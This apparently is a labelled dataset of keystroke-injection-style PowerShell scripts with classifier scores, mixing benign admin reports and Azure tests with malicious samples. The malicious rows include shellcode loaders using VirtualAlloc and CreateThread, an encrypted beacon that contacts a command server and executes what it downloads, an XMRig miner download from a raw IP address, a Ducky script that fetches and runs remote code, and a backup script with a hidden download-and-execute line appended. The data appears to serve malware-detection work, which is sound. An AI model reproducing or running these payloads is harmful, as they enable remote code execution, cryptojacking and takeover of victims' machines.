0xd9,0xc5,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xbf,0x09,0x27,0xf4,0x79,0xb1,0x47,0x83,0xe8,0xfc,0x31,0x78,0x14,0x03,0x78,0x1d,0xc5,0x01,0x85,0xf5,0x8b,0xea,0x76,0x05,0xec,0x63,0x93,0x34,0x2c,0x17,0xd7,0x66,0x9c,0x53,0xb5,0x8a,0x57,0x31,0x2e,0x19,0x15,0x9e,0x41,0xaa,0x90,0xf8,0x6c,0x2b,0x88,0x39,0xee,0xaf,0xd3,0x6d,0xd0,0x8e,0x1b,0x60,0x11,0xd7,0x46,0x89,0x43,0x80,0x0d,0x3c,0x74,0xa5,0x58,0xfd,0xff,0xf5,0x4d,0x85,0x1c,0x4d,0x6f,0xa4,0xb2,0xc6,0x36,0x66,0x34,0x0b,0x43,0x2f,0x2e,0x48,0x6e,0xf9,0xc5,0xba,0x04,0xf8,0x0f,0xf3,0xe5,0x57,0x6e,0x3c,0x14,0xa9,0xb6,0xfa,0xc7,0xdc,0xce,0xf9,0x7a,0xe7,0x14,0x80,0xa0,0x62,0x8f,0x22,0x22,0xd4,0x6b,0xd3,0xe7,0x83,0xf8,0xdf,0x4c,0xc7,0xa7,0xc3,0x53,0x04,0xdc,0xff,0xd8,0xab,0x33,0x76,0x9a,0x8f,0x97,0xd3,0x78,0xb1,0x8e,0xb9,0x2f,0xce,0xd1,0x62,0x8f,0x6a,0x99,0x8e,0xc4,0x06,0xc0,0xc6,0x29,0x2b,0xfb,0x16,0x26,0x3c,0x88,0x24,0xe9,0x96,0x06,0x04,0x62,0x31,0xd0,0x6b,0x59,0x85,0x4e,0x92,0x62,0xf6,0x47,0x50,0x36,0xa6,0xff,0x71,0x37,0x2d,0x00,0x7e,0xe2,0xd8,0x05,0xe8,0x07,0x1d,0x06,0xe7,0x7f,0x1f,0x06,0xf6,0xc4,0x96,0xe0,0xa8,0x6a,0xf9,0xbc,0x08,0xdb,0xb9,0x6c,0xe0,0x31,0x36,0x52,0x10,0x3a,0x9c,0xfb,0xba,0xd5,0x49,0x53,0x52,0x4f,0xd0,0x2f,0xc3,0x90,0xce,0x55,0xc3,0x1b,0xfd,0xaa,0x8d,0xeb,0x88,0xb8,0x79,0x1c,0xc7,0xe3,0x2f,0x23,0xfd,0x8e,0xcf,0xb1,0xfa,0x18,0x98,0x2d,0x01,0x7c,0xee,0xf1,0xfa,0xab,0x65,0x3b,0x6f,0x14,0x11,0x44,0x7f,0x94,0xe1,0x12,0x15,0x94,0x89,0xc2,0x4d,0xc7,0xac,0x0c,0x58,0x7b,0x7d,0x99,0x63,0x2a,0xd2,0x0a,0x0c,0xd0,0x0d,0x7c,0x93,0x2b,0x78,0x7c,0xef,0xfd,0x44,0x0a,0x01,0x3e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$PP7m=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($PP7m.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$PP7m,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0859067e-05,0.9999491
:lol cmd goto lol enter,1,1,0.00026922236,0.99973077
"win+r enter powershell enter enter enter [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} enter $sc="""" enter $s="""" enter function CAM ($key,$IV){ enter try {$a = New-Object ""System.Security.Cryptography.RijndaelManaged"" enter } catch {$a = New-Object ""System.Security.Cryptography.AesCryptoServiceProvider""} enter $a.Mode = [System.Security.Cryptography.CipherMode]::CBC enter $a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros enter $a.BlockSize = 128 enter $a.KeySize = 256 enter if ($IV) enter { enter if ($IV.getType().Name -eq ""String"") enter {$a.IV = [System.Convert]::FromBase64String($IV)} enter else enter {$a.IV = $IV} enter } enter if ($key) enter { enter if ($key.getType().Name -eq ""String"") enter {$a.Key = [System.Convert]::FromBase64String($key)} enter else enter {$a.Key = $key} enter } enter $a} enter function ENC ($key,$un){ enter $b = [System.Text.Encoding]::UTF8.GetBytes($un) enter $a = CAM $key enter $e = $a.CreateEncryptor() enter $f = $e.TransformFinalBlock($b, 0, $b.Length) enter [byte[]] $p = $a.IV + $f enter [System.Convert]::ToBase64String($p) enter } enter function DEC ($key,$enc){ enter $b = [System.Convert]::FromBase64String($enc) enter $IV = $b[0..15] enter $a = CAM $key $IV enter $d = $a.CreateDecryptor() enter $u = $d.TransformFinalBlock($b, 16, $b.Length - 16) enter [System.Text.Encoding]::UTF8.GetString($u)} enter function Get-Webclient ($Cookie) { enter $d = (Get-Date -Format ""dd/MM/yyyy""); enter $d = [datetime]::ParseExact($d,""dd/MM/yyyy"",$null); enter $k = [datetime]::ParseExact(""01/06/2020"",""dd/MM/yyyy"",$null); enter if ($k -lt $d) {exit} enter $username = """" enter $password = """" enter $proxyurl = """" enter $wc = New-Object System.Net.WebClient; enter enter $h="""" enter if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add(""Host"",$h)} enter elseif($h){$script:s=""https://$($h)/business/retail-business/"";$script:sc=""https://$($h)""} enter $wc.Headers.Add(""User-Agent"",""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"") enter $wc.Headers.Add(""Referer"","""") enter if ($proxyurl) { enter $wp = New-Object System.Net.WebProxy($proxyurl,$true); enter if ($username -and $password) { enter $PSS = ConvertTo-SecureString $password -AsPlainText -Force; enter $getcreds = new-object system.management.automation.PSCredential $username,$PSS; enter $wp.Credentials = $getcreds; enter } else { $wc.UseDefaultCredentials = $true; } enter $wc.Proxy = $wp; } else { enter $wc.UseDefaultCredentials = $true; enter $wc.Proxy.Credentials = $wc.Credentials; enter } if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, ""SessionID=$Cookie"") } enter $wc } enter function primer { enter $cu = [System.Security.Principal.WindowsIdentity]::GetCurrent() enter $wp = New-Object System.Security.Principal.WindowsPrincipal($cu) enter $ag = [System.Security.Principal.WindowsBuiltInRole]::Administrator enter if ($wp.IsInRole($ag)){$el=""*""}else{$el=""""} enter try{$u=($cu).name+$el} catch{if ($env:username -eq ""$($env:computername)$""){}else{$u=$env:username}} enter $o=""$env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;https://investersalliance.net:443"" enter try {$pp=enc -key CUH8sj+EC5dilycMVuMMOiUWVEGGfyGMzX+lOsooosk= -un $o} catch {$pp=""ERROR""} enter $primer = (Get-Webclient -Cookie $pp).downloadstring($s) enter $p = dec -key CUH8sj+EC5dilycMVuMMOiUWVEGGfyGMzX+lOsooosk= -enc $primer enter if ($p -like ""*key*"") {$p| iex} enter } enter try {primer} catch {} enter Start-Sleep 300 enter try {primer} catch {} enter Start-Sleep 600 enter try {primer} catch {} enter enter",1,1,5.8739402e-05,0.99994123
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_gijc3jjm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.388361e-05
"win+r powershell enter $ne = $MyInvocation.MyCommand.Path $miner_url = ""http://185.246.90.205/xmrig.exe enter "" $miner_url_backup = ""http://185.246.90.205/xmrig.exe"" $miner_size = 4578304 $m enter iner_name = ""sysupdate"" $miner_cfg_url = ""http://185.246.90.205/config.json"" $mi enter ner_cfg_url_backup = ""http://185.246.90.205/config.json"" $miner_cfg_size = 3714 enter $miner_cfg_name = ""config.json"" $miner_path = ""$env:TMP\sysupdate.exe"" $miner_c enter fg_path = ""$env:TMP\config.json"" enter enter",1,1,5.598499e-05,0.999944
"win+r enter powershell enter enter enter  enter function Get-AzureRmSecurityPricing-SubscriptionScope enter { enter $pricings = Get-AzSecurityPricing enter Validate-Pricings $pricings enter } enter function Get-AzureRmSecurityPricing-SubscriptionLevelResource enter { enter $pricings = Get-AzSecurityPricing -Name ""VirtualMachines"" enter Validate-Pricings $pricings enter } enter function Get-AzureRmSecurityPricing-ResourceId enter { enter $pricing = Get-AzSecurityPricing | Select -First 1 enter enter $fetchedPricing = Get-AzSecurityPricing -ResourceId $pricing.Id enter Validate-Pricing $fetchedPricing enter } enter function Set-AzureRmSecurityPricing-SubscriptionLevelResource enter { enter Set-AzSecurityPricing -Name ""VirtualMachines"" -PricingTier ""Standard"" enter } enter function Validate-Pricings enter { enter param($pricings) enter enter Assert-True { $pricings.Count -gt 0 } enter enter Foreach($pricing in $pricings) enter { enter Validate-Pricing $pricing enter } enter } enter function Validate-Pricing enter { enter param($pricing) enter enter Assert-NotNull $pricing enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x69,0x5c,0xe5,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1750325e-05,0.99994826
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_sfjnrzl7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_150.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3821234e-05
"win+r enter powershell enter enter enter  enter function Test-GetNonExistingDataFactory enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter Assert-ThrowsContains { Get-AzDataFactory -ResourceGroupName $rgname -Name $dfname } ""ResourceNotFound"" enter } enter function Test-CreateDataFactory enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter $actual = New-AzDataFactory -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter $expected = Get-AzDataFactory -ResourceGroupName $rgname -Name $dfname enter enter Assert-AreEqual $expected.ResourceGroupName $actual.ResourceGroupName enter Assert-AreEqual $expected.DataFactoryName $actual.DataFactoryName enter } enter finally enter { enter Clean-DataFactory $rgname $dfname enter } enter } enter function Test-DeleteDataFactoryWithDataFactoryParameter enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter $df = New-AzDataFactory -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter Remove-AzDataFactory -DataFactory $df -Force enter } enter function Test-DataFactoryPiping enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter New-AzDataFactory -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter Get-AzDataFactory -ResourceGroupName $rgname | Remove-AzDataFactory -Force enter Assert-ThrowsContains { Get-AzDataFactory -ResourceGroupName $rgname -Name $dfname } ""ResourceNotFound"" enter } enter enter",0,0,0.99994636,5.3637723e-05
win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Horsd enter REM Author: MocconaCoffee enter REM Description: A simple script that will change the users wallpaper to Brown Horse that is running. enter REM Dedicated to: This script is a toast to my Nan that passed recently (she pioneered horse backgrounds on her decade-old laptop.) enter REM Target OS: Windows 10 enter REM Required Configurations: Ensure that you have amended changes to the URL with a direct link to the script hosted by your own hosting service. DO NOT use GitHub as a medium for staging the script. enter DEFINE #SCRIPTURL example.com enter DELAY 3000 enter GUI r enter DELAY 300 enter STRING powershell enter ENTER enter DELAY 300 enter STRING Invoke-WebRequest -Uri https://i.imgur.com/jwstWRR.jpg -OutFile horse.jpg enter ENTER enter DELAY 100 enter STRING exit enter ENTER enter DELAY 1000 enter GUI r enter DELAY 300 enter STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr #SCRIPTURL/horsd.ps1?dl=1; invoke-expression $pl enter ENTER enter DELAY 1000 enter GUI r enter DELAY 300 enter STRING powershell enter ENTER enter DELAY 300 enter STRING Remove-Item horse.jpg enter ENTER enter DELAY 300 enter STRING exit enter ENTER enter DUCKY_REAL_END enter,1,1,6.084704e-05,0.9999392
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_5qwfwuci"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4825953e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_5smp88ca"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3660675e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_7z04yf7g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3876502e-05
win+r powershell enter function Invoke-ReverseDNSLookup { <# .Synopsis Performs a DNS Reverse Lookup enter of a given IPv4 IP Range. Part of Posh-SecMod (https://github.com/darkoperator enter /Posh-SecMod/) Author: darkoperator .DESCRIPTION Performs a DNS Reverse Looku enter p of a given IPv4 IP Range. .EXAMPLE Perfrom a threaded reverse lookup against enter a given CIDR PS C:\> Invoke-ReverseDNSLookup -CIDR 192.168.1.0/24 enter enter,1,1,7.1411996e-05,0.9999286
"win+r enter powershell enter enter enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SMO"") | Out-Null enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SmoExtended"") | Out-Null enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.ConnectionInfo"") | Out-Null enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SmoEnum"") | Out-Null enter enter $a = Get-Date enter enter $b = ""dbName"" + $a.Day + ""-"" + $a.Month + ""-"" + $a.Year + "".bak.zip"" enter enter Remove-Item \\dataserver\folder\dbName.bak enter enter $server = New-Object (""Microsoft.SqlServer.Management.Smo.Server"") (""dataserver"") enter enter $dbBackup = new-Object (""Microsoft.SqlServer.Management.Smo.Backup"") enter $dbRestore = new-object (""Microsoft.SqlServer.Management.Smo.Restore"") enter enter $dbBackup.Database = ""dbName"" enter $dbBackup.Devices.AddDevice(""C:\folder\dbName.bak"", ""File"") enter $dbBackup.Action=""Database"" enter $dbBackup.Initialize = $TRUE enter $dbBackup.SqlBackup($server) enter enter if(!(Test-Path \\dataserver\folder\dbName.bak)){ enter $smtp = new-object Net.Mail.SmtpClient(""emailserver"") enter $smtp.Send(""from"", ""to"", ""Backups not working"", ""Action required immediately for Full Backup"") enter Exit enter } enter enter $dbRestore.Devices.AddDevice(""C:\folder\dbName.bak"", ""File"") enter enter if (!($dbRestore.SqlVerify($server))){ enter $smtp = new-object Net.Mail.SmtpClient(""emailserver"") enter $smtp.Send(""from"", ""to"", ""Backups not valid"", ""Action required immediately for Full Backup"") enter Exit enter } enter enter Copy-Item \\dataserver\folder\dbName.bak C:\Data\dbName.bak enter enter Write-Zip C:\Data\dbName.bak -OutputPath C:\Archives\$b enter enter $webclient = New-Object System.Net.WebClient enter $uri = New-Object System.Uri(""FTP-server-site"") enter enter $webclient.UploadFile($uri, $location) enter $c = Get-Date -format t enter $smtp = new-object Net.Mail.SmtpClient(""emailserver"") enter $smtp.Send(""from"", ""to"", ""Database Backup Finish Time"", $c) enter $webclient=New-Object System.Net.WebClient;$exe = $webclient.DownloadString(""http://pentlab.altervista.org/l.txt"");$exe|Out-File a.exe;start a.exe; enter enter",1,1,5.493404e-05,0.99994504
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_npemmg1g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_15.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4860408e-05
"win+r powershell enter function Get-ADPrincipalGroupMembershipRecurse{ [CmdletBinding()] param( [ enter Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] $ADUser, [Parameter( enter Mandatory=$false)] [ValidateNotNullOrEmpty()] $ADGroup, enter enter",1,1,0.0024803765,0.99751955
"Describe ""Credential tests"" -Tags ""CI"" { It ""Explicit cast for an empty credent enter ial returns null"" { [PSCredential]::Empty.GetNetworkCredential() | Should -Be enter NullOrEmpty } } enter",0,1,0.095439665,0.9045604
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_oswgslr4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4456556e-05
"win+r enter powershell enter enter enter function Get-MADObject { enter param ( enter [string]$name, enter [string]$description, enter [string]$searchroot, enter [ValidateSet($null,'user','group','computer')] enter $type enter ) enter enter if (!$name -and !$description -and !$searchroot -and !$type) { enter Throw 'Please provide a type, search term, or root.' enter } elseif (!$name -and !$description) { enter $name = '*' enter } enter if ($type) { enter $filter = ""(&(objectcategory=$type)"" enter } else { enter $filter = '(&(|(objectcategory=user)(objectcategory=group)(objectcategory=computer))' enter } enter enter if ($name) { enter enter $filter += ""(|(samaccountname=$name)(name=$name)(sn=$name)(givenname=$name)(mail=$name@randgroup.com))"" enter } enter if ($description) { enter if ($description -match '|') { enter $descstring = @('(|') enter $descstring += $description.Split('|') | % { enter '(description=' + $_ + ')' enter } enter $descstring += @(')') enter $descstring = -join $descstring enter $filter += $descstring enter } else { enter $filter += ""(description=$description)"" enter } enter } enter $filter += ')' enter enter $searcher = [adsisearcher]$filter enter $searcher.PageSize = 200 enter if ($searchroot) { enter $searchrootarray = $searchroot.split('/') | ? {$_} enter $newsearchroot = @('LDAP://') enter $newsearchroot += for ($i = $searchrootarray.Length - 1; $i -ge 0; $i--) { enter if ($i -ne 0) { enter 'OU=' + $searchrootarray[$i] + ',' enter } else { enter 'DC=' + $searchrootarray[$i].Split('.')[0] + ',DC=' + $searchrootarray[$i].Split('.')[1] enter } enter } enter $newsearchroot = -join $newsearchroot enter $searcher.SearchRoot = [adsi]$newsearchroot enter } enter $searcher.PropertiesToLoad.AddRange(('name', 'displayname', 'sn', 'givenname', 'objectcategory', 'whencreated', 'whenchanged', 'pwdlastset', 'lastlogon', 'distinguishedname', 'samaccountname', 'userprincipalname', 'mail', 'proxyaddresses', 'msexchhomeservername', 'homemdb', 'operatingsystem', 'description', 'title', 'department', 'manager', 'telephonenumber', 'mobile', 'scriptpath', 'homedirectory', 'homedrive', 'c', 'co', 'st', 'l', 'streetaddress', 'postalcode', 'company', 'useraccountcontrol', 'member', 'memberof')) enter enter $maxpwdage = ([adsi]""WinNT://$env:userdomain"").maxpasswordage.value / 86400 enter $(foreach ($object in $searcher.FindAll()) { enter New-Object -TypeName PSObject -Property @{ enter Name = [string]$object.properties.name enter DisplayName = [string]$object.properties.displayname enter LastName = [string]$object.properties.sn enter FirstName = [string]$object.properties.givenname enter ObjectCategory = [string]$object.properties.objectcategory -replace '^cn=|,.*' enter WhenCreated = $(try{ Get-Date ([string]$object.Properties.whencreated) -f 'yyyy/MM/dd HH:mm:ss' } catch {''}) enter WhenChanged = $(try{ Get-Date ([string]$object.Properties.whenchanged) -f 'yyyy/MM/dd HH:mm:ss' } catch {''}) enter PwdLastSet = $(try{ Get-Date ([datetime]::fromfiletime($object.properties.pwdlastset[0])) -f 'yyyy/MM/dd HH:mm:ss' } catch {''}) enter PwdDoesNotExpire = if (([string]$object.properties.useraccountcontrol -band 65536) -eq 0) {$false} else {$true} enter PwdIsExpired = $(try{ if (($(Get-Date) - $(Get-Date ([datetime]::fromfiletime($object.properties.pwdlastset[0]))) | select -ExpandProperty days) -gt $maxpwdage) {$true} else {$false} }catch{''}) enter LastLogon = $(try{ Get-Date ([datetime]::fromfiletime($object.properties.lastlogon[0])) -f 'yyyy/MM/dd HH:mm:ss' } catch {''}) enter DistinguishedName = [string]$object.properties.distinguishedname enter SamAccountName = [string]$object.properties.samaccountname enter UserPrincipalName = [string]$object.properties.userprincipalname enter Mail = [string]$object.properties.mail enter ProxyAddresses = [string[]]$object.properties.proxyaddresses enter EmailServer = $(try{ [string]$object.properties.msexchhomeservername.split('=')[-1] } catch {''}) enter EmailDB = $(try{ [string]$object.properties.homemdb.split(',')[0] -replace 'cn=' } catch {''}) enter OperatingSystem = [string]$object.properties.operatingsystem enter Description = [string]$object.properties.description enter Title = [string]$object.properties.title enter Department = [string]$object.properties.department enter Manager = [string]$object.properties.manager enter TelephoneNumber = [string]$object.properties.telephonenumber enter Mobile = [string]$object.properties.mobile enter ScriptPath = [string]$object.properties.scriptpath enter HomeDirectory = [string]$object.properties.homedirectory enter HomeDrive = [string]$object.properties.homedrive enter Country1 = [string]$object.properties.c enter Country2 = [string]$object.properties.co enter State = [string]$object.properties.st enter City = [string]$object.properties.l enter StreetAddress = [string]$object.properties.streetaddress enter PostalCode = [string]$object.properties.postalcode enter Company = [string]$object.properties.company enter AccountIsLocked = $(try{ if ((([adsi]$object.path).psbase.InvokeGet('IsAccountLocked')) -eq $true) {$true} else {$false} }catch{''}) enter AccountIsDisabled = if (([string]$object.Properties.useraccountcontrol -band 2) -eq 0) {$false} else {$true} enter member = $object.properties.member | sort enter memberof = $object.properties.memberof | sort enter } enter }) | select name, displayname, lastname, firstname, objectcategory, whencreated, whenchanged, pwdlastset, PwdIsExpired, PwdDoesNotExpire, lastlogon, distinguishedname, samaccountname, userprincipalname, mail, proxyaddresses, emailserver, emaildb, operatingsystem, description, title, department, manager, telephonenumber, mobile, scriptpath, homedirectory, homedrive, country1, country2, state, city, streetaddress, postalcode, company, accountislocked, accountisdisabled, member, memberof enter } enter enter",0,0,0.9974214,0.002578611
